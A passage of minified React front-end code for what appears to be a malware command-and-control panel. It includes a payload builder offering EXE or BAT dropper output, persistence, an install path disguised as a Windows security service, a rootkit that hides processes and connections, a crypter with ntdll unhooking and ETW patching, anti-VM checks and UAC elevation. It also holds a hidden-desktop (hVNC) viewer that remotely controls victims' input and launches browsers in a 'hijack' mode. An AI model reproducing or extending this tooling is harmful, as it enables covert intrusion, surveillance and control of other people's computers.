ne.blob(),Q=URL.createObjectURL(H),ce=document.createElement("a");ce.href=Q;const re=ne.headers.get("content-disposition"),Ae=re==null?void 0:re.match(/filename="(.+?)"/);ce.download=(Ae==null?void 0:Ae[1])||`${W.name||"payload"}.exe`,document.body.appendChild(ce),ce.click(),document.body.removeChild(ce),URL.revokeObjectURL(Q)}catch{f("Download failed")}}async function ee(W){try{await SE(W),Z(null),le()}catch{f("Failed to delete payload")}}return s.jsxs("div",{className:"p-6",children:[s.jsxs("div",{className:"flex items-center justify-between mb-6",children:[s.jsx("h1",{className:"font-display text-xl font-semibold text-zerin-text",children:"Build"}),s.jsx("button",{onClick:()=>{a(!i),f("")},className:` text-sm font-medium px-4 py-2 transition-all duration-150 ${i?"bg-zerin-panel text-zerin-text-dim border border-zerin-panel-border hover:bg-zerin-panel-hover":"bg-zerin-accent hover:bg-zerin-accent-hover text-white"} `,children:i?"Cancel":"+ Build Agent"})]}),m&&s.jsx("div",{className:"bg-zerin-accent/10 border border-zerin-accent/30 text-zerin-accent px-4 py-2.5 text-sm mb-4",children:m}),i&&s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-5 mb-6",children:[s.jsx("h2",{className:"text-sm font-semibold text-zerin-text mb-4",children:"Build Agent"}),d&&s.jsx("div",{className:"bg-zerin-danger-dim border border-zerin-danger/30 text-zerin-danger px-4 py-2.5 text-sm mb-4",children:d}),s.jsxs("form",{onSubmit:ge,className:"space-y-4",children:[s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsx(er,{label:"Payload Name",children:s.jsx("input",{type:"text",value:y,onChange:W=>v(W.target.value),required:!0,placeholder:"payload-001",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r text-sm text-zerin-text font-sans placeholder:text-zerin-text-muted\r focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r transition-all duration-200`})}),s.jsx(er,{label:"Output Format",children:s.jsxs("select",{value:K,onChange:W=>{const X=W.target.value;R(X),X==="exe"&&F(ne=>ne&-257)},className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r text-sm text-zerin-text font-sans\r focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r transition-all duration-200 cursor-pointer`,children:[s.jsx("option",{value:"exe",children:"EXE"}),s.jsx("option",{value:"bat",children:"BAT (Dropper Script)"})]})})]}),s.jsxs("div",{className:"grid grid-cols-3 gap-4",children:[s.jsx(er,{label:"Sleep Interval (seconds)",children:s.jsx("input",{type:"number",value:j,onChange:W=>k(W.target.value),required:!0,min:"1",placeholder:"30",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r text-sm text-zerin-text font-sans placeholder:text-zerin-text-muted\r focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r transition-all duration-200\r [appearance:textfield] [&::-webkit-outer-spin-button]:appearance-none [&::-webkit-inner-spin-button]:appearance-none`})}),s.jsx(er,{label:`Jitter (${S}%)`,children:s.jsx("input",{type:"range",value:S,onChange:W=>N(W.target.value),min:"0",max:"50",className:`w-full h-2 bg-zerin-bg border border-zerin-panel-border appearance-none cursor-pointer\r [&::-webkit-slider-thumb]:appearance-none [&::-webkit-slider-thumb]:w-3 [&::-webkit-slider-thumb]:h-3\r [&::-webkit-slider-thumb]:bg-zerin-accent [&::-webkit-slider-thumb]:cursor-pointer\r [&::-moz-range-thumb]:w-3 [&::-moz-range-thumb]:h-3 [&::-moz-range-thumb]:bg-zerin-accent\r [&::-moz-range-thumb]:border-0 [&::-moz-range-thumb]:cursor-pointer mt-2`})}),s.jsx(er,{label:"Kill Date",children:s.jsx("input",{type:"datetime-local",value:z,onChange:W=>O(W.target.value),className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r text-sm text-zerin-text font-sans\r focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r transition-all duration-200\r [color-scheme:dark]`})})]}),s.jsx(er,{label:"User Agent",children:s.jsx("input",{type:"text",value:_,onChange:W=>T(W.target.value),required:!0,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r text-sm text-zerin-text font-mono placeholder:text-zerin-text-muted\r focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r transition-all duration-200`})}),s.jsx(er,{label:"Auto-Persistence (installed on first run)",children:s.jsx("div",{className:"grid grid-cols-3 gap-2",children:RU.map(W=>{const X=W.dllOnly&&K==="exe";return s.jsxs("label",{className:`flex items-center gap-2 select-none py-1 px-2 transition-colors ${X?"opacity-50 cursor-not-allowed":"cursor-pointer hover:bg-zerin-panel-hover"}`,children:[s.jsx("input",{type:"checkbox",checked:(I&W.flag)!==0,disabled:X,onChange:ne=>{F(ne.target.checked?I|W.flag:I&~W.flag)},className:"accent-zerin-accent"}),s.jsx("span",{className:"text-sm text-zerin-text-dim",children:W.label}),W.admin&&s.jsx("span",{className:"text-[10px] text-zerin-text-muted bg-zerin-panel-hover px-1",children:"ADMIN"}),X&&s.jsx("span",{className:"text-[10px] text-zerin-danger bg-zerin-danger/10 px-1",children:"DLL ONLY"})]},W.flag)})})}),s.jsx(er,{label:"Install Location (self-copy target)",children:s.jsxs("div",{className:"grid grid-cols-3 gap-3",children:[s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Base Directory"}),s.jsxs("select",{value:de,onChange:W=>G(parseInt(W.target.value,10)),className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r text-sm text-zerin-text font-sans\r focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r transition-all duration-200 cursor-pointer`,children:[s.jsx("option",{value:0,children:"%TEMP%"}),s.jsx("option",{value:1,children:"%LOCALAPPDATA%"}),s.jsx("option",{value:2,children:"%APPDATA%"}),s.jsx("option",{value:3,children:"%PROGRAMDATA%"}),s.jsx("option",{value:4,children:"%USERPROFILE%"})]})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Subfolder"}),s.jsx("input",{type:"text",value:te,onChange:W=>P(W.target.value),placeholder:"Microsoft\\WindowsUpdate",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r text-sm text-zerin-text font-mono placeholder:text-zerin-text-muted\r focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r transition-all duration-200`})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Filename"}),s.jsx("input",{type:"text",value:C,onChange:W=>D(W.target.value),placeholder:"SecurityHealthService.exe",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r text-sm text-zerin-text font-mono placeholder:text-zerin-text-muted\r focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r transition-all duration-200`})]})]})}),s.jsxs(er,{label:"Evasion",children:[s.jsxs("label",{className:"flex items-center gap-3 cursor-pointer select-none py-1 px-2 hover:bg-zerin-panel-hover transition-colors",children:[s.jsx("input",{type:"checkbox",checked:B,onChange:W=>V(W.target.checked),className:"accent-zerin-accent"}),s.jsxs("div",{children:[s.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Rootkit (Process/File/Network Hiding)"}),s.jsx("p",{className:"text-xs text-zerin-text-muted mt-0.5",children:"Hides agent process, files, registry keys, and network connections from Task Manager, Explorer, netstat, and services"})]})]}),s.jsxs("label",{className:"flex items-center gap-3 cursor-pointer select-none py-1 px-2 hover:bg-zerin-panel-hover transition-colors mt-1",children:[s.jsx("input",{type:"checkbox",checked:$,onChange:W=>q(W.target.checked),className:"accent-zerin-accent"}),s.jsxs("div",{children:[s.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Encryption (Crypter Stub)"}),s.jsx("p",{className:"text-xs text-zerin-text-muted mt-0.5",children:"Wraps payload in an encrypted stub with ntdll unhooking, ETW patching, and indirect syscalls"})]})]}),s.jsxs("label",{className:`flex items-center gap-3 select-none py-1 px-2 transition-colors mt-1 ${$?"cursor-pointer hover:bg-zerin-panel-hover":"opacity-50 cursor-not-allowed"}`,children:[s.jsx("input",{type:"checkbox",checked:Y,disabled:!$,onChange:W=>ie(W.target.checked),className:"accent-zerin-accent"}),s.jsxs("div",{children:[s.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Anti-VM / Sandbox Detection"}),s.jsx("p",{className:"text-xs text-zerin-text-muted mt-0.5",children:"Detects virtual machines and sandboxes (CPU count, RAM, disk size, sleep acceleration, recent files, debugger). Exits silently if detected."})]})]}),s.jsxs("label",{className:"flex items-center gap-3 cursor-pointer select-none py-1 px-2 hover:bg-zerin-panel-hover transition-colors mt-1",children:[s.jsx("input",{type:"checkbox",checked:ae,onChange:W=>fe(W.target.checked),className:"accent-zerin-accent"}),s.jsxs("div",{children:[s.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Auto-Elevate (UAC Prompt)"}),s.jsx("p",{className:"text-xs text-zerin-text-muted mt-0.5",children:"Shows a UAC prompt at startup to request admin privileges. Continues as non-admin if the user declines."})]})]})]}),s.jsxs("div",{className:"flex items-center justify-between pt-2",children:[s.jsxs("label",{className:"flex items-center gap-2 cursor-pointer select-none",children:[s.jsx("div",{onClick:()=>U(!E),className:`relative w-9 h-5 rounded-full transition-colors duration-200 cursor-pointer ${E?"bg-zerin-accent":"bg-zinc-700"}`,children:s.jsx("span",{className:`absolute top-0.5 left-0.5 w-4 h-4 bg-white rounded-full transition-transform duration-200 ${E?"translate-x-4":"translate-x-0"}`})}),s.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Debug Mode"})]}),s.jsxs("div",{className:"flex gap-3",children:[s.jsx("button",{type:"button",onClick:()=>{a(!1),f("")},className:"text-sm text-zerin-text-dim hover:text-zerin-text px-4 py-2 transition-colors duration-150",children:"Cancel"}),s.jsxs("button",{type:"submit",disabled:g,className:`bg-zerin-accent hover:bg-zerin-accent-hover text-white text-sm font-medium\r px-5 py-2 transition-all duration-150\r disabled:opacity-50 disabled:cursor-not-allowed\r flex items-center gap-2`,children:[g&&s.jsxs("svg",{className:"animate-spin h-4 w-4",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),g?"Building...":"Build"]})]}),g&&s.jsxs("div",{className:"mt-4 border border-zerin-panel-border bg-zerin-bg rounded-sm p-4 space-y-3",children:[s.jsxs("div",{className:"flex items-center justify-between text-xs text-zerin-text-muted",children:[s.jsx("span",{children:(h2.filter(W=>W.at<=o).pop()??h2[0]).label}),s.jsxs("span",{className:"font-mono tabular-nums",children:[c,"s"]})]}),s.jsx("div",{className:"w-full h-1.5 bg-zerin-panel-border rounded-full overflow-hidden",children:s.jsx("div",{className:"h-full bg-zerin-accent rounded-full transition-all duration-500 ease-out",style:{width:`${o}%`}})}),s.jsx("p",{className:"text-[11px] text-zerin-text-dim",children:"Compiling with MinGW cross-compiler. Typically takes 30–60 seconds."})]})]})]})]}),n?s.jsx("div",{className:"flex items-center justify-center h-64",children:s.jsxs("div",{className:"flex items-center gap-3 text-zerin-text-muted text-sm",children:[s.jsxs("svg",{className:"animate-spin h-4 w-4 text-zerin-accent",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),"Loading payloads..."]})}):e.length===0?s.jsx("div",{className:"flex items-center justify-center h-64",children:s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel border border-zerin-panel-border flex items-center justify-center",children:s.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M11.42 15.17l-5.658 3.286a.75.75 0 01-1.112-.662V5.25a2.25 2.25 0 012.25-2.25h10.5a2.25 2.25 0 012.25 2.25v12.594a.75.75 0 01-1.112.662l-5.658-3.286a.75.75 0 00-.764 0z"})})}),s.jsx("p",{className:"text-zerin-text-muted text-sm mb-1",children:"No payloads built"}),s.jsx("p",{className:"text-zerin-text-muted text-xs",children:"Build an agent payload to deploy on targets."}),!i&&s.jsx("button",{onClick:()=>a(!0),className:"text-zerin-accent hover:text-zerin-accent-hover text-sm font-medium mt-3 transition-colors",children:"+ Build Agent"})]})}):s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[s.jsxs("div",{className:"grid grid-cols-[1fr_70px_60px_120px_100px_140px_70px_100px] gap-4 px-4 py-2.5 border-b border-zerin-panel-border bg-zerin-bg-alt",children:[s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Name"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Sleep"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Jitter"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Agent Key"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Built By"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Built At"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider text-right",children:"Size"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider text-right",children:"Actions"})]}),s.jsx("div",{children:e.map(W=>{let X={};try{X=JSON.parse(W.config_json)}catch{}return s.jsxs("div",{className:"grid grid-cols-[1fr_70px_60px_120px_100px_140px_70px_100px] gap-4 px-4 py-3 items-center border-b border-zerin-panel-border last:border-b-0 hover:bg-zerin-panel-hover transition-colors duration-100",children:[s.jsx("div",{children:s.jsx("span",{className:"text-sm font-medium text-zerin-text",children:W.name})}),s.jsx("div",{children:s.jsxs("span",{className:"text-xs font-mono text-zerin-text-dim tabular-nums",children:[X.sleep_interval??"—","s"]})}),s.jsx("div",{children:s.jsxs("span",{className:"text-xs font-mono text-zerin-text-dim tabular-nums",children:[X.jitter_percent??"—","%"]})}),s.jsx("div",{children:s.jsxs("span",{className:"text-xs font-mono text-zerin-text-muted",title:W.agent_pubkey,children:[(W.agent_pubkey??"").slice(0,16),"..."]})}),s.jsx("div",{children:s.jsx("span",{className:"text-xs text-zerin-text-dim",children:W.built_by})}),s.jsx("div",{children:s.jsx("span",{className:"text-xs text-zerin-text-muted font-mono tabular-nums",children:uo(W.built_at)})}),s.jsx("div",{className:"text-right",children:s.jsx("span",{className:"text-xs font-mono text-zerin-text-dim tabular-nums",children:cm(W.file_size)})}),s.jsxs("div",{className:"flex items-center justify-end gap-2",children:[s.jsx("button",{onClick:()=>M(W),className:"text-zerin-accent hover:text-zerin-accent-hover transition-colors",title:"Download",children:s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 16v1a3 3 0 003 3h10a3 3 0 003-3v-1m-4-4l-4 4m0 0l-4-4m4 4V4"})})}),A===W.payload_id?s.jsxs("div",{className:"flex items-center gap-1",children:[s.jsx("button",{onClick:()=>ee(W.payload_id),className:"text-xs text-zerin-danger hover:text-red-400 transition-colors",children:"Confirm"}),s.jsx("button",{onClick:()=>Z(null),className:"text-xs text-zerin-text-muted hover:text-zerin-text-dim transition-colors",children:"Cancel"})]}):s.jsx("button",{onClick:()=>Z(W.payload_id),className:"text-zerin-text-muted hover:text-zerin-danger transition-colors",title:"Delete",children:s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19 7l-.867 12.142A2 2 0 0116.138 21H7.862a2 2 0 01-1.995-1.858L5 7m5 4v6m4-6v6m1-10V4a1 1 0 00-1-1h-4a1 1 0 00-1 1v3M4 7h16"})})})]})]},W.payload_id)})})]}),s.jsx("p",{className:"text-center text-xs text-zerin-text-muted mt-8",children:"v1.0.1"})]})}function er({label:e,children:t}){return s.jsxs("div",{children:[s.jsx("label",{className:"block text-sm text-zerin-text-dim font-sans mb-1.5",children:e}),t]})}const BU=[{label:"Explorer",cmd:"explorer.exe",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.25 12.75V12A2.25 2.25 0 014.5 9.75h15A2.25 2.25 0 0121.75 12v.75m-8.69-6.44l-2.12-2.12a1.5 1.5 0 00-1.061-.44H4.5A2.25 2.25 0 002.25 6v12a2.25 2.25 0 002.25 2.25h15A2.25 2.25 0 0021.75 18V9a2.25 2.25 0 00-2.25-2.25h-5.379a1.5 1.5 0 01-1.06-.44z"})})},{label:"Chrome",cmd:"chrome.exe",icon:s.jsxs("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:[s.jsx("circle",{cx:"12",cy:"12",r:"10"}),s.jsx("circle",{cx:"12",cy:"12",r:"4"}),s.jsx("line",{x1:"21.17",y1:"8",x2:"12",y2:"8"}),s.jsx("line",{x1:"3.95",y1:"6.06",x2:"8.54",y2:"14"}),s.jsx("line",{x1:"10.88",y1:"21.94",x2:"15.46",y2:"14"})]})},{label:"Brave",cmd:"brave.exe",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12l2 2 4-4m5.618-4.016A11.955 11.955 0 0112 2.944a11.955 11.955 0 01-8.618 3.04A12.02 12.02 0 003 9c0 5.591 3.824 10.29 9 11.622 5.176-1.332 9-6.03 9-11.622 0-1.042-.133-2.052-.382-3.016z"})})},{label:"Edge",cmd:"msedge.exe",icon:s.jsxs("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:[s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 21a9 9 0 100-18 9 9 0 000 18z"}),s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 3c-1.5 3-2 6-1.5 9 .5 3 2 5.5 4.5 7"}),s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.5 8.5h17"})]})}];function FU(){const{id:e}=Mo(),[t]=nx(),n=t.get("mode")==="hvnc"?"hvnc":"vnc",r=n==="hvnc",i=p.useRef(null),a=p.useRef(null),o=p.useRef(null),l=p.useRef(null),c=p.useRef(null),u=p.useRef({x:-1,y:-1}),d=p.useRef(null),f=p.useRef(0),[m,h]=p.useState(!0),[x,g]=p.useState(!0),[y,v]=p.useState(!1),[b,w]=p.useState(60),[j,k]=p.useState(20),[S,N]=p.useState(0),[z,O]=p.useState({w:0,h:0}),[,_]=p.useState(""),[T,E]=p.useState(null),[U,K]=p.useState(!1),[R,I]=p.useState(!1),F=p.useRef(!1),[B,V]=p.useState({w:0,h:0});p.useEffect(()=>{const H=l.current;if(!H)return;const Q=new ResizeObserver(ce=>{const re=ce[0];re&&V({w:re.contentRect.width,h:re.contentRect.height})});return Q.observe(H),()=>Q.disconnect()},[]);const $=p.useMemo(()=>{if(z.w<=0||z.h<=0||B.w<=0||B.h<=0)return null;const H=Math.min(B.w/z.w,B.h/z.h);return{width:Math.floor(z.w*H),height:Math.floor(z.h*H)}},[z,B]),q=p.useRef({x:0,y:0,w:0,h:0}),Y=p.useRef(null),ie=p.useCallback((H,Q)=>{const ce=a.current;if(!ce)return;Y.current||(Y.current=ce.getContext("2d"));const re=Y.current;if(!re)return;const Ae=q.current;if(Ae.w>0&&re.clearRect(Ae.x,Ae.y,Ae.w,Ae.h),H<0||Q<0){q.current={x:0,y:0,w:0,h:0};return}q.current={x:H-1,y:Q-1,w:16,h:24},re.save(),re.beginPath(),re.moveTo(H,Q),re.lineTo(H,Q+18),re.lineTo(H+5,Q+14),re.lineTo(H+9,Q+21),re.lineTo(H+12,Q+20),re.lineTo(H+8,Q+13),re.lineTo(H+13,Q+12),re.closePath(),re.fillStyle="white",re.fill(),re.strokeStyle="black",re.lineWidth=1,re.stroke(),re.restore()},[]),ae=p.useCallback((H,Q)=>{const ce=a.current;if(!ce)return;const re=ce.getContext("2d");re&&(re.save(),re.beginPath(),re.arc(H,Q,12,0,Math.PI*2),re.strokeStyle="rgba(6, 182, 212, 0.7)",re.lineWidth=2,re.stroke(),re.restore(),d.current&&clearTimeout(d.current),d.current=window.setTimeout(()=>{ie(u.current.x,u.current.y)},150))},[ie]),fe=p.useCallback((H,Q,ce,re,Ae)=>{F.current||(F.current=!0,I(!0)),O({w:Q,h:ce});const Ne=i.current;if(!Ne)return;const Ie=Ne.getContext("2d");if(!Ie)return;(Ne.width!==Q||Ne.height!==ce)&&(Ne.width=Q,Ne.height=ce);const zt=a.current;if(zt&&(zt.width!==Q||zt.height!==ce)&&(zt.width=Q,zt.height=ce,Y.current=null),typeof H=="string"){const _e=c.current||new Image;c.current=_e,_e.onload=()=>{Ie.drawImage(_e,0,0)},_e.src=H}else H instanceof ImageBitmap?(Ie.drawImage(H,0,0),H.close()):Ie.drawImage(H,0,0)},[r]),de=p.useCallback(()=>{},[]),{isConnected:G,stats:te,controls:P,connect:C,disconnect:D}=J0({agentId:e||"",mode:n,onFrame:fe,onDisconnect:de});p.useEffect(()=>{e&&C()},[e,C]);const A=p.useCallback(H=>{const Q=a.current,ce=i.current;if(!Q||!ce||z.w===0)return{x:0,y:0};const re=Q.getBoundingClientRect(),Ae=ce.width/re.width,Ne=ce.height/re.height;return{x:Math.min(Math.max(Math.round((H.clientX-re.left)*Ae),0),ce.width-1),y:Math.min(Math.max(Math.round((H.clientY-re.top)*Ne),0),ce.height-1)}},[z]),Z=p.useCallback(H=>{if(!m||y)return;const{x:Q,y:ce}=A(H);u.current={x:Q,y:ce};const re=performance.now();re-f.current>=33&&(f.current=re,P.sendMouseMove(Q,ce)),ie(Q,ce)},[m,y,A,P,ie]),le=p.useCallback(H=>{if(!m||y)return;const{x:Q,y:ce}=A(H);P.sendMouseButton(H.button,1,Q,ce),ae(Q,ce)},[m,y,A,P,ae]),me=p.useCallback(H=>{if(!m||y)return;const{x:Q,y:ce}=A(H);P.sendMouseButton(H.button,0,Q,ce)},[m,y,A,P]),ge=p.useCallback(H=>{if(!m||y)return;const{x:Q,y:ce}=A(H),re=H.deltaY>0?-120:120;P.sendMouseScroll(re,Q,ce)},[m,y,A,P]);p.useEffect(()=>{if(!x||y)return;const H=(re,Ae)=>{re.preventDefault(),re.stopPropagation();const Ne=re.keyCode||0;P.sendKey(Ae,Ne,0)},Q=re=>H(re,1),ce=re=>H(re,0);return window.addEventListener("keydown",Q,!0),window.addEventListener("keyup",ce,!0),()=>{window.removeEventListener("keydown",Q,!0),window.removeEventListener("keyup",ce,!0)}},[x,y,P]),p.useEffect(()=>{P.setViewOnly(y)},[y,P]);const M=p.useCallback(H=>{w(H),P.setQuality(H)},[P]),ee=p.useCallback(async()=>{try{const H=await navigator.clipboard.readText();H&&P.sendClipboard(H)}catch{}},[P]),W=p.useCallback(()=>{var H,Q;(Q=(H=o.current)==null?void 0:H.requestFullscreen)==null||Q.call(H)},[]),X=p.useCallback(async()=>{if(D(),e)try{r?await CE(e):await zE(e)}catch{}window.close()},[e,D,r]),ne=p.useCallback(async H=>{if(!(!e||!H.trim())){E(null);try{await PE(e,H.trim(),U),E(`Launched ${H.trim()}${U?" (hijack)":""}`),_(""),setTimeout(()=>E(null),3e3)}catch(Q){E(`Failed: ${Q instanceof Error?Q.message:"unknown"}`)}}},[e,U]);return s.jsxs("div",{ref:o,className:"h-screen w-screen flex flex-col select-none overflow-hidden",style:{background:"#09090B",color:"#FAFAFA"},children:[s.jsxs("div",{className:"flex items-center gap-4 px-4 py-1 shrink-0 font-mono",style:{fontSize:"10px",background:"#111113",borderBottom:"1px solid #1F1F23"},children:[s.jsx("span",{className:"font-display font-bold tracking-[0.2em] uppercase",style:{color:"#0891B2",fontSize:"9px"},children:r?"HIDDEN DESKTOP":"LIVE DESKTOP"}),s.jsx("span",{style:{color:"#27272A"},children:"|"}),s.jsxs("span",{style:{color:"#52525B"},children:[s.jsx("span",{style:{color:"#0891B2"},children:te.frameCount})," frames"]}),te.totalTiles>0&&s.jsxs(s.Fragment,{children:[s.jsx("span",{style:{color:"#27272A"},children:"|"}),s.jsxs("span",{style:{color:"#52525B"},children:[s.jsx("span",{style:{color:"#0891B2"},children:te.dirtyTiles}),"/",te.totalTiles," tiles"]})]}),s.jsx("span",{style:{color:"#27272A"},children:"|"}),s.jsx("span",{style:{color:"#52525B"},children:e?e.slice(0,8):"—"}),s.jsx("div",{className:"flex-1"}),s.jsxs("div",{className:"flex items-center gap-1.5",children:[s.jsx("div",{className:"w-1 h-1 rounded-full",style:{background:m?"#06B6D4":"#27272A"},title:"Mouse"}),s.jsx("div",{className:"w-1 h-1 rounded-full",style:{background:x?"#06B6D4":"#27272A"},title:"Keyboard"}),s.jsx("div",{className:"w-1 h-1 rounded-full",style:{background:y?"#EF4444":"#27272A"},title:"View Only"})]})]}),T&&s.jsx("div",{className:"absolute bottom-12 left-1/2 -translate-x-1/2 z-40 px-4 py-2 font-mono animate-fade-in",style:{fontSize:"11px",background:"#111113",border:`1px solid ${T.startsWith("Failed")?"rgba(239,68,68,0.3)":"rgba(6, 182, 212, 0.25)"}`,color:T.startsWith("Failed")?"#EF4444":"#06B6D4"},children:T}),s.jsxs("div",{ref:l,className:"flex-1 flex items-center justify-center overflow-hidden relative",style:{background:"#09090B"},children:[G&&s.jsxs("div",{className:"relative",style:{width:$?$.width:void 0,height:$?$.height:void 0,display:R?"block":"none"},children:[s.jsx("canvas",{ref:i,style:{width:"100%",height:"100%",display:"block"}}),s.jsx("canvas",{ref:a,onMouseMove:Z,onMouseDown:le,onMouseUp:me,onWheel:ge,onContextMenu:H=>H.preventDefault(),style:{position:"absolute",top:0,left:0,width:"100%",height:"100%",cursor:m&&!y?"none":"default"}})]}),(!G||!R)&&s.jsx("div",{className:"absolute inset-0 flex flex-col items-center justify-center",children:s.jsxs("div",{className:"relative z-10 flex flex-col items-center gap-6",children:[s.jsx("div",{className:"w-10 h-10 border-2 rounded-full animate-spin",style:{borderColor:"rgba(6, 182, 212, 0.15)",borderTopColor:"#06B6D4"}}),s.jsxs("div",{className:"flex flex-col items-center gap-2",children:[s.jsx("span",{className:"font-display font-medium tracking-wide",style:{fontSize:"13px",color:"#A1A1AA"},children:G?r?"Initializing hidden desktop...":"Waiting for frame...":"Connecting to agent..."}),s.jsx("div",{className:"flex items-center gap-1",children:[0,1,2].map(H=>s.jsx("div",{className:"w-1 h-1 rounded-full animate-pulse-dot",style:{background:"#06B6D4",animationDelay:`${H*.3}s`}},H))})]})]})})]}),s.jsxs("div",{className:"flex items-center gap-1 px-3 py-1.5 shrink-0",style:{background:"#111113",borderTop:"1px solid #1F1F23"},children:[s.jsxs("div",{className:"flex items-center gap-1.5 px-2.5 py-1 mr-1",style:{background:"rgba(6, 182, 212, 0.08)",border:"1px solid rgba(6, 182, 212, 0.18)"},children:[s.jsx("div",{className:"w-1.5 h-1.5 rounded-full animate-pulse-dot",style:{background:"#06B6D4",boxShadow:"0 0 6px rgba(6, 182, 212, 0.6)"}}),s.jsx("span",{className:"font-display font-bold tracking-[0.15em] uppercase",style:{color:"#06B6D4",fontSize:"10px"},children:r?"hVNC":"VNC"})]}),s.jsxs("div",{className:"flex items-center gap-1.5 px-2 py-1",children:[s.jsx("div",{className:"w-1.5 h-1.5 rounded-full",style:{background:G?"#22C55E":"#EF4444",boxShadow:G?"0 0 6px rgba(34,197,94,0.5)":"none"}}),s.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:G?"LIVE":"OFFLINE"})]}),s.jsx(Cs,{}),s.jsxs("div",{className:"flex items-center gap-1.5 px-2 py-1",children:[s.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:"FPS"}),s.jsx("span",{className:"font-mono tabular-nums",style:{fontSize:"10px",color:"#06B6D4"},children:te.fps})]}),s.jsx(Cs,{}),s.jsxs("div",{className:"flex items-center gap-2 px-2 py-1",children:[s.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:"Q"}),s.jsx("input",{type:"range",min:10,max:100,step:5,value:b,onChange:H=>M(Number(H.target.value)),className:"w-16 h-[3px] appearance-none rounded-full outline-none",style:{background:"#27272A",accentColor:"#06B6D4"}}),s.jsx("span",{className:"font-mono tabular-nums",style:{fontSize:"10px",color:"#52525B"},children:b})]}),s.jsxs("div",{className:"flex items-center gap-2 px-2 py-1",children:[s.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:"FPS"}),s.jsx("input",{type:"range",min:5,max:60,step:5,value:j,onChange:H=>{const Q=Number(H.target.value);k(Q),P.sendControl(2,Q)},className:"w-14 h-[3px] appearance-none rounded-full 